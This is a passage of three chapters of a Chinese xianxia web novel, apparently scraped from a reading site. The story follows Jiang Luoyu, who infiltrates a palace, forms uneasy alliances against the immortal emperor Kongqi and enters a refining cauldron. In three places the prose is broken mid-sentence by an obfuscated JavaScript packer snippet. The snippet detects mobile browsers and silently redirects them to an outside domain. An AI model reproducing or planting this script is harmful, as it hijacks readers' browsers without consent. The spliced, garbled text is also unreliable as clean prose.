确实可怜,神界雏形忍不住也跟着唏嘘。扶乐复活肯定是笙舟仙君复仇计划里的一环,就是不知道他用了什么方法,才从空杞那么大阵仗的复活仪式里夺人。 神界雏形:“你想救他?无相球说你是个好人。” 姜洛玉“噗嗤”一声笑了出来,一不小心被口水呛得咳了半天,惹得扶乐扔下扫帚过来给他拍背。 “多谢。”他对着扶乐笑了笑,随即轻声道,“你不讨厌我吗?大家都不喜欢我,因为我是青月白眠花。” “所以天生就该被人讨厌。” 扶乐在那格外真挚的笑里红了脸,眨了眨眼,连忙道:“怎么会?交朋友看的是人品,又不是这些乱七八糟的东西。” 姜洛玉看着那头比起昨日失了几分光泽的发丝眸光微动,找了个借口回了房间。 “我当然是个好人,而且有救人的资本。”他摸了摸领口丛明雪留下的尾翎,“不过……我只救能救的。” 这个,怕是天道来了都救不了。 “扶乐,你方才在和谁说话?”竹胜走上前,擦了擦扶乐汗湿的脸。 扶乐“啊”了一声,眼神有些迷茫。 竹胜不得不一字一顿:“你方才,在和谁说话?” 扶乐恍然大悟:“我在和青眠道友说话,李兄你怎么这么早就起来了?” “你也该好好休息了。”竹胜收起带着汗渍的帕子,“你脸上的香膏都没了。” 扶乐这才意识到香膏早就溶解在了他满身的臭汗里,有些无措,蹙着眉试图想起清洁术的咒语。 竹胜:“我来帮你,先回去。” 少年点头的样子格外欢快,那双琥珀色的眸子越来越暗。 临走前,竹胜回头看了一眼八百八十八号房间紧闭的门窗,发出一声不屑的冷哼。 今天的规矩分为两部分,上午练习站姿,下午练习行礼的姿势。 姜洛玉蹲在最后面画着圈,余光里其他人全都跪得笔直。 神界雏形:“你是不是想骂人?” 姜洛玉:“封建余孽罢了,若是真认了空杞当爹,我就让他知道什么叫做杀父弑兄。” “你这兄都不用弑。”神界雏形反刍着未消化殆尽的神骨,“我看撑不到宫宴,他就得提前报废。” 姜洛玉无奈扶额:“无相球都教了你什么东西?” 无相球:“……” 它不是它没有,它只是很正常的和神界雏形聊天而已。 “主人,扶乐为什么会死啊?他不是都活过来了吗?”无相球游荡在丹田,然后被元婴一把捞到怀里。 姜洛玉:“他身上已经开始天人五衰、寿命将尽了。你见哪个仙修扫个地就开始流汗的?” “想来他能活的代价就是注定走向死亡,要不然残魂拼凑出来的只会是个傻子。” 酉时一过,点麓确定今天没人再犯规,直接离开了院子。 姜洛玉慢悠悠地起身,又磨磨蹭蹭地绕着院子里的扶桑树走了一圈又一圈。 “——你在等我?” 128.穿越第一百二十八天 一身绛红的青年长身玉立,再配上那双细长的狐狸眼,让姜洛玉有种被猛兽盯上的错觉。 赤狐能算猛兽吗? 他停下脚步,朝着青年露出个怯生生的笑来:“您怎么知道?” “太过入戏,小心死在戏里面。” 一张拇指大小的纸条飞到了两人之间,无火自燃,上面歪歪扭扭写着几个字——“酉时,树下。” 姜洛玉垂下眼,假惺惺地擦了擦并不存在的眼泪:“笙舟仙君,您说的不错,一个合格的戏子能够将现实和戏剧分开。” “唰——”得一下,脖颈间横了把匕首,利刃贴在皮肉上的感觉很微妙,让他忍不住眨了眨眼。 那双和扶乐一模一样的眼睛里映着对面青年冷冷的表情。 “怎么认出我的?”笙舟将匕首微微抬起,留出了说话的空间。 姜洛玉没有回答,反问道:“您有没有想过,自己早就深陷其中……无法自拔了?” 根据扶乐的记忆,除了空杞那个上辈子的“爹”之外,可是还有一个把他养大的“父亲”。 那人将他从咿呀学语养到如今,最近“父亲”病重,扶乐听说当春花宫的仙侍能领到更多仙晶,这才走出了无涯境。 所谓的“父亲”也有一双狐狸眼,只不过比对面的青年看起来要更成熟。 笙舟脸色一黑,力道加重,于是少年的脖子便多出了一条血痕。 “诶,恼羞成怒成怒可不是个好习惯。”姜洛玉小声道,只是短短一句话,血流得更快了,可却没能再压下去半分。 他赌对了,笙舟现在的状态无法随意出手。 笙舟:“你是谁的人?永乐还是东君?” 万年一次的仙帝之争里,排名最后的仙帝会被夺取封号变回仙君,再由“夺帝之争”排名第一的仙君接手。他方才说的两个仙帝排名都是空杞之下,派人过来下黑手很正常。 而且这少年认出了他伪装过后的身份,不是实力在他之上,就是有什么秘宝。 “我不是谁的人,”姜洛玉打断了笙舟发散的思维,顺嘴胡诌道,“我只是个和空杞有仇的可怜人罢了。” 说完他仔细想了想,空杞为了复活扶乐召集符合要求的仙侍过来当血食,而他为了获取空杞的信任过来受罪。 确实有仇,还是生死大仇。 笙舟蹙着眉,用怀疑的眼神上下打量着对面的少年。 他能感受到这人没有撒谎,但所有阻碍他谋划的东西都该死。 就算现在死不了…… 他收起匕首,饶有兴致道:“比起你和空杞有什么恩怨情仇,我更好奇你知道多少东西。” 姜洛玉:“很多,比你想象的还要多。” 笙舟:“比如?” “我知道秋陵的真实身份,还知道空杞这些年一直在复活扶乐。”姜洛玉毫不在意笙舟好似要杀人的目光,说的模棱两可。 毕竟他知道的确实没有那么细致,就连笙舟可能是扶乐养父的事情也只是个猜测,但也只能拿这些东西唬人。 笙舟:“的确很多,不怕我杀你灭口吗?” 姜洛玉摇头:“怕什么?仙君是来报仇的,我也是。能和仙君一同谋事,可是在下的荣幸啊。” “你想结盟?”笙舟蹙着眉,“也不是不可以。” “你能做些什么?我不需要废物当盟友。” 姜洛玉挑了挑眉,一边说着一边催动功法:“我若是个废物,又怎敢开口想求得仙君结盟?” 神界雏形尽职尽责的发挥自己的辅助作用,好让修为在姜洛玉之上的人看不出其中破绽。 几乎眨眼间,对面的人就换了一副模样,若不是笙舟是眼睁睁看见了这种变化,他几乎要以为对面的人就是扶乐本人。 甚至心底还有一个声音在告诉他——“他就是扶乐,你没有感觉错。” 姜洛玉扬着格外灿烂的笑脸,试探道:“如何?十五年悉心照料,就是养条狗都舍不得丢了,更别提一个孩子。” 笙舟顿时明白清晨姜洛玉和扶乐的接触有猫腻,对面的人不知道涌了什么办法窥探到了扶乐的记忆,眼中精光更甚,默认了“养父”的身份:“结盟可以。不过,我们得立天道誓言。” 姜洛玉现在一听见“天道”两个字就条件反射地觉得恶心,退而求其次:“立血契吧,违反契约直接死。” 虽然这血契依旧在天道的管辖范围之内,但总归没有天道誓言直接,让他的恶心感能够消退不少。 笙舟倒是没想到这人能这么狠,思索片刻同意道:“……好。” 列好需要共同遵循的内容,互为盟友的血契一结,两人身上笼罩了一层玄之又玄的气息。 “仙君,不如借一步说话?”姜洛玉做了个请的手势。 笙舟点了点头。 两人进了八百八十八号房。 笙舟看见了床榻上蹦来蹦去的黑色灵雀。 姜洛玉撸了撸心魔的脑袋,把他放到肩膀上,又从芥子里翻出一套桌椅,又拿出冒着热气的灵食美酒。 “仙君快请。”他又露出了带着三分坚韧五分良善的笑来,“凉了就不好吃了。” 笙舟没动食物,自顾自斟了一杯酒,放到鼻尖闻了闻:“星河千醉?” 姜洛玉:“仙君见多识广。” 这星河千醉原料取自漫天星辰之力,配以凛冬初雪,由七七四十九种灵物混合在一起,经过七十八道工序才能得到的美酒,喝了就能得到一千天不重样的美梦。 不过红楹的这坛星河千醉似乎多加了点东西,能降低饮酒者的戒备能力,无形无味。只要笙舟喝下去,就是个套话的好时机。 他芥子除了这个还有别的,整整齐齐摆了一堆,都是红楹三百年里捣鼓出来的。 喝完杯中酒,笙舟褪去青年模样,变成了更加成熟高大的男人,凌厉地黑眸扫过姜洛玉全身:“既然已定血契,何不以真面貌示人?” “长得丑。”姜洛玉淡定道,“不方便见人。” 笙舟:“……” 他倒是不是特别在意这人到底长什么样,只是有些好奇罢了。 见笙舟只顾着喝酒,姜洛玉便专心致志吃东西,时不时掰下来一小块儿喂给肩上的心魔,吃干净拿出帕子擦了擦嘴。 “仙君,您是不是该告诉我您都打算做些什么?若是真有我能帮上忙的,还为您分忧。我虽然与空杞有仇,但此行单枪匹马,只是过来探探虚实,如若不是遇上仙君,现在早就打道回府了。” “当然,”他顶着扶乐的脸朝着笙舟笑了笑,“您愿意讲一讲别的……也不是不可以。” 笙舟不咸不淡地“嗯”了一声,看着对面的少年眸子里划过一丝怀恋,又是三盏下肚,将多年前的恩怨与如今的谋划娓娓道来。 约莫三千年前,九月初七的满月宴上,是他第一次看见扶乐。 那时的扶乐还是个被空杞抱在怀里,有些睁不开眼睛的婴孩,在他过去时却突然瞪大眼睛对他笑了笑。 那笑容天真烂漫,带着孩子特有的无邪。 但他却能无比肯定,这孩子,是空杞为了证道才孕育出来的。 染了太多杀孽的神魂孕育不出这么纯洁的后代。 “可杀道修歪了不是才会乱杀吗?”姜洛玉适时提问。 笙舟:“因为扶乐根本不算是他的孩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431433|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只不过是个替空杞暂管躯壳的花精。” “杀道的至高境界——斩本相。” 一切都是空杞捏造的假象,他之所以留下了阴阳转生花的精魄,都是为了瞒过天道,让它也以为扶乐是他的儿子,而非一具为他自己的三魂七魄备好的躯壳。 并且能承受仙帝之魂的躯壳也需要一个成熟的过程。 至于这么隐秘的事情为何会被外人知道…… “我们本是同门师兄弟。”笙舟讽刺一笑,“他还是我带大的,他那畜生会做什么我不说了如指掌,也能猜个七七八八。” 姜洛玉:“……那你们是怎么闹掰的?” 他记得传言说的是笙舟因为仙帝之争垫底,所以对前一名的空杞痛下黑手。 笙舟:“我二人决裂并非如外界传言一般,而是因为扶乐。” 他们一路扶持从下界到仙界,再从无名小仙到扬名整个仙界的仙帝,情谊深厚。 奈何在扶乐的事上,他们意见相左。 彼时他们还未闹掰,脑中的一切都是猜测,他有事没事他就会去春花宫看望扶乐,成了扶乐最喜欢的师叔。 后来,他亲眼看见对方用一根一掌长的神魂钉插进了幼童眉心,为他稳固神魂。 “你们吵架了?” 见人停了下来,似乎沉浸在回忆里,姜洛玉再度发问。 笙舟:“我们打起来了。” 姜洛玉:“……也是一种发泄渠道。” 神界雏形沉浸在秘辛里,忍不住反刍:“咔嚓咔嚓。” 姜洛玉:“想死吗?” 神界雏形停止动作:“……不想。” 到了仙帝的水平,挥手间排山倒海不在话下,于是笙舟和空杞两人心照不宣,去了一处小世界打了七天七夜,胜负未分。 笙舟留下句“道不同不相为谋”,扛着剑就回了无涯境,再也没去过春花境。 当然,这只是表面上。 背地里,他捏了具分身去到了扶乐身边,开始一步步接近他获取他的信任,告诉他……他的降生是为了走向死亡。 纯善的魂魄听不得谗言,又因为过于单纯相信了他那些似是而非的话,于是二百三十岁,在躯壳即将开始炼化的那年自戕而亡。 “躯壳的炼化过程需要无数杀戮和鲜血堆砌,这样才能让空杞的魂魄完美契合那副身体。”笙舟眸色暗沉,“我看着扶乐从那么一点长成少年……” “我舍不得他就这么死在炼化里,也不忍看空杞为了他心中的‘大道’走上歪路,只有在扶乐濒死时抽走他的魂魄,才能确保他不会再被炼化之法纠缠。” 姜洛玉:“杀道的斩本相到底是什么?如若杀了自己之后还活不下去,证这种东西有什么用?” 笙舟:“本相无形。杀道修士一生都在求索本相,空杞不知道从哪得来的邪门法子,说是自戕后再将魂魄转移到新的躯壳里,也能达到斩本相的目的。” 姜洛玉揉着灵雀的脑袋,悄悄弹了弹。 心魔一个趔趄,发出不满地闷哼:“都是畜生。” 姜洛玉:“此话怎讲?” 心魔气哄哄道:“这种邪法古籍中有记载,被选中蕴养躯壳的魂魄必须为开智的天地灵物,只有他们的魂魄才能养出最好、最灵动的肉身。” “若是半路抽走,那魂魄必死无疑。这人说的有鼻子有眼,怕不是看你不懂在诳你!” 姜洛玉脸色便秘,没去问禁术的事,而是对于这个狗血又诡异的故事发出质问:“既然人只剩下魂魄,何不直接扔到往生河里去冥界投胎?也好过现在天人五衰,寿数将近。” 笙舟苦笑一声:“我被骗了。” 129.穿越第一百二十九天 “刺不刺激,意不意外。” 神界雏形贱兮兮的声音响起,还伴随着模拟出来的稀稀拉拉的鼓掌声。 心魔也很是意外,还没继续开喷就变成了银白色的团雀。 笙舟:“……?” 姜洛玉:“仙君莫怪,它喜欢变色。” 丛明雪:“……” 笙舟不动声色地探查了一下桌面的灵雀,没发现任何端倪。 “不知是谁这般大胆,还敢欺骗仙君?”姜洛玉夸张道,语气格外真挚,似乎下一秒就要去找那人算账。 笙舟起了一身鸡皮疙瘩,就算用障眼法改变了少年在自己眼里的模样,可心中那股诡异地亲近却没有消失。 邪门至极,他猜应当是这人的功法。 不再纠结,继续道:“我是在空杞那儿寻到的躯壳炼化之法,却不曾想那只是残卷,完本被空杞随身携带在身边。我做错了步骤,没能救下扶乐,反倒害得他这些年来只能生活在魂瓶里。” 姜洛玉:“那您这次带扶乐过来是……” “魂瓶终究不是长久之计,我带他来本是打算找机会将他的魂魄送回原来的躯体。”笙舟把玩着精巧的酒杯,“那尸身如今似僵未死,全靠这每月一批的血食延续了两千多年。” “天人五衰是因为粗制滥造躯壳承受不了至善的神魂,若真能送回去,没准还有一线生机。” 姜洛玉:“……” 他实在是不知道说什么,假装很忙地喂了丛明雪两口酒,垂下眼掩盖里面的匪夷所思。 丛明雪:“……” 他又啄了两口清酒,接着蹭了蹭姜洛玉的手心,发出一声清脆的啼叫。 “不过你既然有此异能。”笙舟轻笑一声,“我有秘宝能帮你瞒过空杞的眼睛,只要你能在三天后的宫宴上帮我牵制住他,等我夺走了替身,到时候杀他易如反掌。” 姜洛玉:“需要多长时间?” 笙舟:“半个时辰。” 姜洛玉轻轻颔首,表示同意:“敢问仙君,春花宫选仙侍的标准到底是什么,为何会有人击鼓不响?” 笙舟:“击鼓不响者,神魂不善。阴阳转生花只会生出至纯至善的魂魄,同样也需要善魂蕴养出来的血肉。” 姜洛玉又问:“那点麓说的‘祛除泥土腥气’又是什么?” 笙舟深深看了一眼姜洛玉,后知后觉自己貌似被忽悠了,对方知道的没有那么多。不过血契已成,好歹是个助力,只好耐心回答:“把人放在特质的神器里炼化,驱除掉三魂七魄里非‘善’的杂质。” 姜洛玉听得浑身恶寒。 对面俊美的男人眨眼间又变回了和扶乐带着几分相似的青年,扔下一个储物袋。 “该说的都说了,天色已晚,本君先走了。明天把能躲过炼化的东西送你。”笙舟顿了顿,语气严肃,“还有,离扶乐远一点。” 眼见着人越走越远,姜洛玉连忙道:“仙君且慢!” 他笑着拿出两坛星河千醉,果然看见笙舟的眸子动了动。 “这酒是我偶然得来的,今天就借花献佛了。” “哐当——” 门关刹那,神界雏形好奇发言:“你刚才往酒里塞什么了?” 姜洛玉:“毒药。” 神界雏形:“……?” 丛明雪化为人形,亲昵地贴了贴姜洛玉的脸,随口解释:“是狐尾千幻草,放进星河千醉里能让美梦化为噩梦。” “为什么?你不是还要等他当上仙帝再合作对抗神主吗?”神界雏形摸不着头脑,“你坑他做什么?” 姜洛玉打开储物袋看了两眼,把里面的东西扔给无相球复制,磨了磨牙:“这人嘴里没一句实话,还隐瞒了许多东西。” “他们两师兄弟同门而出,‘道不同’早就分道扬镳了,怎么会忍到当了仙帝才开始出现矛盾。” “依我看,这两人没准是一路货色,说不上到底是因为什么才兵戈相见。” 神界雏形:“你说的有道理,可你们签订的血契……不是不能互相欺骗吗?” 说完,它就想到了姜洛玉刚才对笙舟说——“自己长得很丑”。 这不已经骗了吗?血契怎么没反应? “血契才不会管说的是‘主观’事实还是客观真相。”姜洛玉把玩着丛明雪顺滑的长发,绕在指尖来回旋转,“我说自己长得丑的时候,真的认为自己很丑。” 丛明雪将头微微低了下去,贴在自家道侣的耳根轻声道:“需要换人合作吗?还有一个合适的人选。” 姜洛玉:“换吧,一个两个都没安好心。那就换——” “长风仙君。” 两人异口同声。 . 幽篁曲径,依山傍水。 遍布白色卵石的滩涂上,坐着个抚琴的青衣男人。 琴声铿锵有力,就是听不出什么曲调。 男人眉眼偏细,气质挺拔如松,熟褐色的头发悬在半空如风如云。 “仙君仙君!” 长风抬眼看向跑过来的童子。 玉雪可爱的童子顶着满头小辫子,大声道:“那几个过来找你讨赌注奖赏了!” “那几个”蹦出来,长风淡淡的表情出现一丝崩坏,回头看了眼身后高耸入云的青松,叹了一口气:“直接带他们去明镜池。” 童子:“不成,他们说要见仙君。” 长风收起腿上的七弦流风琴:“带过来。” 不及成年人腿高的童子“哒哒哒”地跑出竹林,没一会儿就带了两男一女进来。 童子飞速钻进地里退下,三人齐刷刷行礼:“见过长风仙——” “我可受不住您三位这么拜。”长风仙君用仙力托起三人,看向站的最远的何在夕。 “医神,果真是你。” 何在夕:“……?” 他下意识摸向腰间,没摸到妻子的玉雕,想不出自己还有哪儿出了破绽。 凝星语气不变:“仙君说笑了,医神大名岂是我等能及的。” 长风仙君走向身后看不见尽头的盘龙松,从上面抠下来一块儿树皮,缺口处冒出来的黑气比起三人上次看见时少了不少。 “医神无故失踪,当年可是掀起了好一阵波澜,最后只能得出医神大概是神殇的结果。我也因此断了驱除魔气的药物,本体一年比一年虚弱,只好深居简出尽可能不再动用仙力。” 他碾碎了手里几近干枯的树皮:“我寻医寻了这么多年,那些医仙无一例外都对我的伤势束手无策。” “而前几天,我得到了和医神的丹药别无二致的药汤。” 何在夕龇牙咧嘴地褪去伪装,敲着自从神格回归变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439546|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不太灵光的脑袋:“你是当年那棵小松树?” 他看病从来只见病人一面,之后的药物都是由一种能在仙虚自由活动的飞鸟运输。 几千年前他确实给一棵松树看过病,不过那松树当时还是玄仙修为,这么快就当上仙君了? 长风恭恭敬敬行了个礼:“正是在下,当时有点难言之隐,只好用分身伪装前去。” 三言两语下几人能够确定长风和神主没什么关系,有关系早就把他们回来的事情捅出去了,怎么可能安安稳稳在春花境待到现在。 长风虽不知另外两人的身份,但医术却是实打实的堪比医神,对两人颔首后又问:“不知医神此番前来所为何事?” 何在夕咳了咳,眼冒精光:“小子,你想不想当仙帝?” 长风呼吸一滞。 . “散了吧,明早记得按时出来,我去带你们祛除身上的土腥气。” 点麓话音一落,院子里的人顿时四散开来,大多数都叫苦不迭。 扶乐轻盈得像一只小鸟,飞去了姜洛玉身边,得到了一杯甜腻腻的奶茶。 “这是什么?”他眨着眼睛,看着模样怪异的杯具。 姜洛玉自己也拿着一杯,吸了一口做示范:“好喝的,快尝尝。” 扶乐不疑有他,尝了尝,眼睛亮了一下。 很好喝,除了奶香外还有一股果子的甜。 笙舟看了两眼扶乐越来越僵硬的表情,用眼神示意姜洛玉跟自己过来。 “仙君有何指示?” 姜洛玉露出八颗牙齿的标准微笑。 笙舟掏出个瓷瓶递了过去:“进神器前将此物含在舌下,可保神魂不损。” 姜洛玉接过晃了晃,听见里面的脆响:“这是什么?” 笙舟:“浮屠芝做的丹药,小心些别咽下去,这东西吃了得灵魂出窍三百年。” “浮屠芝是浮屠境的特产,专门用来稳固神魂的。”丛明雪变成的灵雀缩在姜洛玉后颈,十分淡定地传着音。 姜洛玉点了点头:“多谢仙君了。” 三人就此分道扬镳,转身前,他嗅到了扶乐身上传来的腐臭气息。 大五衰开始了。 回到屋内,借着神界雏形遮掩进入秘境的异常灵气波动,两人成功到了浮空殿。 殿内聚集着一堆熟悉的面孔,只有个墨绿色的脑袋格外陌生。 何在夕招呼道:“小生姜快来,小松树等半天了!” 姜洛玉:“……” 什么奇奇怪怪的称呼。 长风闻声看去,看见了一张熟悉的死人脸:“……!!!” 在场众人镇定自若,他们早就对姜洛玉的功法免疫了,见他变得和扶乐一模一样也不意外,只有长风面露惊恐。 “啪”一下,何在夕宽厚地大掌拍在了长风背上:“怕什么,这就是三清秘境的境主烛山君。” 姜洛玉移步间变回了本来的面貌,对着长风微微颔首:“仙君莫怪,方才来得匆忙,忘记变回来了。” 长风脸色青白,上了贼船的感觉久久不散。 他犹豫几秒,开口:“烛山君可是进了春花宫当了仙侍?” 姜洛玉挑了挑眉:“不错,刚从那处过来。” “您有所不知,进了春花宫的人,就再也出不去了。” 130.穿越第一百三十天 “汪汪!” 钢炮驮着一身金黄的辰欢从众人中间掠过,狗嘴里叼着个散发着炫彩宝光的法宝,身后追狗的那伽气到跳脚。 “蠢狗你把我的法宝放下来!龙神大人您快管管他啊!” 猝不及防的小插曲打破了长风开口之后的沉寂。 长风咽了咽口水,觉得自己刚才说的话不太好听。 而且……他看了周围这一堆神君,还有一群气息格外奇异的上仙,硬着头皮想找补。 “仙君,此话怎讲?”姜洛玉抢在长风之前开口笑了笑,又摸出一把能够安神的植物种子捏碎扬在风里。 种子散发出的清新宜人的气味四散开来,对面人脸上的紧张肉眼可见地减少。 长风深吸一口气,乱糟糟的脑子里终于理顺出几分清明,道:“是我刚才说错了,只有敲响登闻鼓的仙侍出不来。” “那鼓应该是神器,能锁定人的神魂,只要离开了春花宫所在就会反馈给空杞。” 姜洛玉没错过长风不确定的语气,回道:“我敲响的时候倒是没察觉什么异样。” “仙君,如今您已然与我们坐在了一条船上,我希望您能知无不言,言无不诚。” “那是自然。”长风擦了擦额头不存在的冷汗,“诸位容我整理一番思绪,稍后便将知道的关于春花宫和空杞仙帝的一切细细道来。” 空杞的走火入魔早有征兆。 长风是四千多年前登上的岁寒天洞主之位。那时的老洞主退位对外宣称是悟道有所得,不愿再追名逐利,只想在剩下的岁月里逍遥六界之间。 实则不然,老洞主退位前除了把一切琐事交待清楚,还告诉了他一个保命的手段——“多做、多听、少言、少舌。” 洞天的洞主与整个洞天有着密切的联系。成了洞主后,长风本体的根系就扎根在了岁寒天的土地里,一直蔓延到边界,其实相当于调节整个岁寒天灵气的容器,使难以被土地吸收的灵气能更好的反哺大地。 同样,作为容器的洞主也能获得天道馈赠,不仅渡劫概率增加,修炼还能更加顺遂。 最开始,他还不明白老洞主话里的意思,直到有一天,他意识到岁寒天的仙兽数量正在逐步下降,但他却发现不了那些仙兽的去处。 多天蹲守下,他找到了仙兽的归宿——绛红如血的宫墙。 夜深人静下,宫墙蠕动如虫蛆。墙上的纹路是植物的根系,它同样扎根在地底,从春花宫一直生长遍布整个春花境,就连他自己的根系也早就和宫墙纠缠不清。 “那些墙里面的根系是空杞的本体?”姜洛玉有些不解,“他本体是什么来着?” 丛明雪:“百叶罗汉树。” 姜洛玉脑袋顶上缓缓冒出一个问号。百叶罗汉树他知道,这树几乎遍布整个六界,从发芽开始到死去只会长出来一百片叶子,结出的圆果无缝自合,是佛修钟爱的念珠原料之一。 据传是某一位渡了千万人的佛修飞升前留下的眼泪所化,那泪珠化为无形之气流散到六界里,所以这树才会随处可见。 可百叶罗汉树里天生带着禅意与佛性,若是空杞本体为百叶罗汉树,怎么会修了杀道? 不过天下之大无奇不有,姜洛玉选择默默接受。 长风苦笑道:“发现那些根系后,我意识到空杞仙帝大概是走火入魔了,自己若是发生异动,一定会被空杞发现,只好暗中观察,找机会负伤斩断了大半根系。” 何在夕:“这就是你被魔兽伤到的真相?” 长风点头:“没错,在我确定那些根系只是本能地吞噬血食后,就同魔界互市的领队做了个交易。” “我让他偷渡魔兽幼崽过来,再用秘术催发到成兽,最后将我重伤。” 这么一斩,让他没了那种随时随地会死在空杞仙帝手里的错觉,见其并未找上自己,于是老老实实缩在岁寒天,除了一百年一次去春花宫的汇报,几乎不问世事。 另外三个洞主不会不知道空杞的事情,他们密而不发,他也没必要去做出头鸟。寻求其他仙境乃至于通天境的帮助不太现实,且不说他能不能活着见到掌事人,虽说十二仙帝明面上都没什么关系,但要真碰上和空杞交情深厚的…… 长风决定东窗事发前当个缩头王八也挺好,起码能保命,他能活到飞升也和喜欢缩着的性格有很大关系。 直到后来扶乐诞生,扶乐自戕,空杞血洗春花境,将幕后黑手笙舟逼下仙帝之位,又每月一批召集一批仙侍进宫,他敏锐地察觉到这里面有什么不对。 于是他打着招人的幌子把那些出宫的仙侍招到自己仙君殿,多年过去,其中一个人在满月的时候变成了一粒罗汉籽。 而他扦插到宫墙附近的枝桠,清楚地听见宫墙发出了一道刺耳的爆鸣。 长风这才后知后觉的意识到,自己的本体不知何时又和那些只有本能的根系纠缠在一起,连带着他……再也离不开春花境。 正当他考虑该找谁联手替天行道,何在夕三人就找上门来问他想不想当“仙帝”。 听完长风的描述,姜洛玉有了个大概猜测。 若是扶乐降生前空杞走火入魔的迹象已经凸显,说明他早就走上了歪门邪道,笙舟的话就更不可信了。 “你可知空杞与笙舟之间为何决裂?”姜洛玉问道。 长风:“决裂?这两位的关系一直都不好,何来决裂一说?” 花神:“小松树说的对,笙舟当年和空杞为了避免自己被踢出仙帝之位,彼此之间可以说是无所不用其极。后来两人各自禁止境内谈论此事,慢慢的众人也就只知两人不和,却不知两人不和到了什么地步。” “扶乐之死倒是旧事重提,后来也被压了下去。” 姜洛玉意识到自己受笙舟的话影响先入为主,以为同门师兄弟关系很好。但这样一来真相越来越扑朔迷离,谎言和流言交织在一起,想不通干脆不再去想。 他找了一处地方坐下,开始和众人商讨如何“坐收渔翁之利”,把长风推上仙帝之位。 长风听得眉心一跳又一跳,从来没想过做人还能这么无耻没有底线。 不过一想到这样的计划是用在别人身上的,他反倒有了一种轻松之感。 . “咔哒。” 沉重的殿门缓缓敞开一条缝隙,露出殿内暗红色的地毯。 半空中,一朵足有两人高的洁白花朵悬浮着,花瓣层层叠叠透着灵光。 枝干下方是蠕动着、宛如海藻一样的根系,血雾环绕在花朵四周,而根系的正下方,是一池占据了半座宫殿的灵泉。 源源不断的泉水从入口处涌进来,又在顷刻间被根系吸收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448547|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,导致灵泉的水位入不敷出。 高大的男人合上门,身上不知所谓的金纹熠熠生辉,好似星辰坠落血海。 他不紧不慢地走向那池见底的池水,走近后割开手腕,任由掺杂着细碎金光的血流了进去。 “咕噜咕噜”。 根系喝水的速度加快了。 水面倒影出来一张格外慈悲的脸,上面的五官没有多么卓越,甚至可以说扔在人堆里有些“平平无奇”,毕竟成仙的有哪个长得奇丑无比? 比五官更加吸引视线的是男人眉心的观音痣,那颗绛红的痣半凸着,里面似乎有什么东西在流动。 空杞等待着血被根系尽数吸收,一跃而起,跳到了和阴阳转生花齐平的位置。 花心里躺着个蜷缩在一起的少年。 他的头发乌黑、唇色如血,一看就非人似妖。 那张脸……和扶乐一模一样。 “再多吃点。”空杞摸了摸柔软的花瓣,逼出更多精血滴了上去。 精血如同活物般爬进了少年的七窍,又在皮肤下方鼓起、舞动,最终停歇。 “……马上,就能接你回来了。” 最开始的两个字消散在了风里,无声无息。 “开鼎——” 伴随着一声落下,十几丈高的青铜大鼎轰然而开,鼎内逸散出沁人心脾的丹香。 点麓站在大鼎旁边,目光锐利,身侧躺着一具仙侍的无头尸体。 姜洛玉捂着嘴打了个哈欠,顺势把浮屠芝做的丹药塞进嘴里。幻化出来的躯体上带着旧伤,导致他也跟着精神不济。 此次过来洗“土气”,点麓没要求他们必须站得笔直目不斜视,于是剩下的二十二个仙侍在“插曲”过后又开始聚堆。 众仙侍前方的大鼎下,站着个鹰钩鼻的男人,那人不善的目光来回扫视着。 神界雏形吐槽:“这架势,说是把你们炼成人丹都不足为过。” 姜洛玉:“不进去的已经死了,你看这剩下的还有谁想跑?” “你道侣去哪了?他怎么不跟你在一起,万一出了什么差错还能变成一对亡命鸳鸯。” 姜洛玉耸肩:“当然是去做该做的事情了。” 神界雏形:“……” “青眠!”少年格外欢快地声音传了过来。 姜洛玉咬着丹药含糊地“嗯”了一声,顺手给少年投喂了能够缓解天人五衰的糖块儿。 指甲盖大小的糖甜滋滋的,扶乐吃完咳了咳,在众人看不见的空间,一缕黑气从灵台飞出,最后消散在风里。 姜洛玉:“有没有什么特殊的感觉?” 要知道何在夕听说他想把丹药做成糖球,可是差点没动手,好在那伽折腾出能转化丹药还不失药力的法宝,这才避免了一场“恶战”。 扶乐眨眨眼:“舌头很甜。” 姜洛玉:“……” 和小傻子说话容易驴唇不对马嘴,于是他改为自己观察。 很好,眼睛眨得没那么快了,嘴角的弧度没那么大……天人五衰的迹象轻了不少。 直到走进大鼎前,姜洛玉仍然在思考关于扶乐的变化。 “想什么呢,快进去!”鹰钩鼻男人厉声喝到。 姜洛玉收回思绪,看向青铜大鼎的入口处。 里面,是一片火海。